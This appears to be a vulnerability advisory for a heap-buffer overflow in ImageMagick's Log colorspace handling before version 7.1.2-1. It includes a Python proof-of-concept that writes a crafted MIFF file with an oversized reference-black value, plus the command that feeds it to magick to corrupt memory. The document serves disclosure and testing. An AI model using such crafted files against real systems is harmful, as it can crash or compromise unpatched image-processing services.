CVE/ImageMagick

Title: ImageMagick: heap-buffer overflow in log colorspace handling

ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to version 7.1.2-1, when preparing to transform from Log to sRGB colorspaces, the logmap construction fails to handle cases where the reference-black or reference-white value is larger than 1024. This leads to corrupting memory beyond the end of the allocated logmap buffer. This issue has been patched in version 7.1.2-1.

  • generate_testcase.py
    # Create a minimal 1x1 Log MIFF file with a large reference-black property
    
    miff = f"""id=ImageMagick
    class=DirectClass
    colorspace=Log
    columns=1
    rows=1
    reference-black=1025
    \x0c\x00\x00\x00\x00\x00\x00""".encode('ascii')
    
    with open("miff_black.miff", "wb") as tmp:
        tmp.write(miff)
python3 ./generate_testcase.py
utilities/magick ./miff_black.miff -resize 200x200 PNG:output.png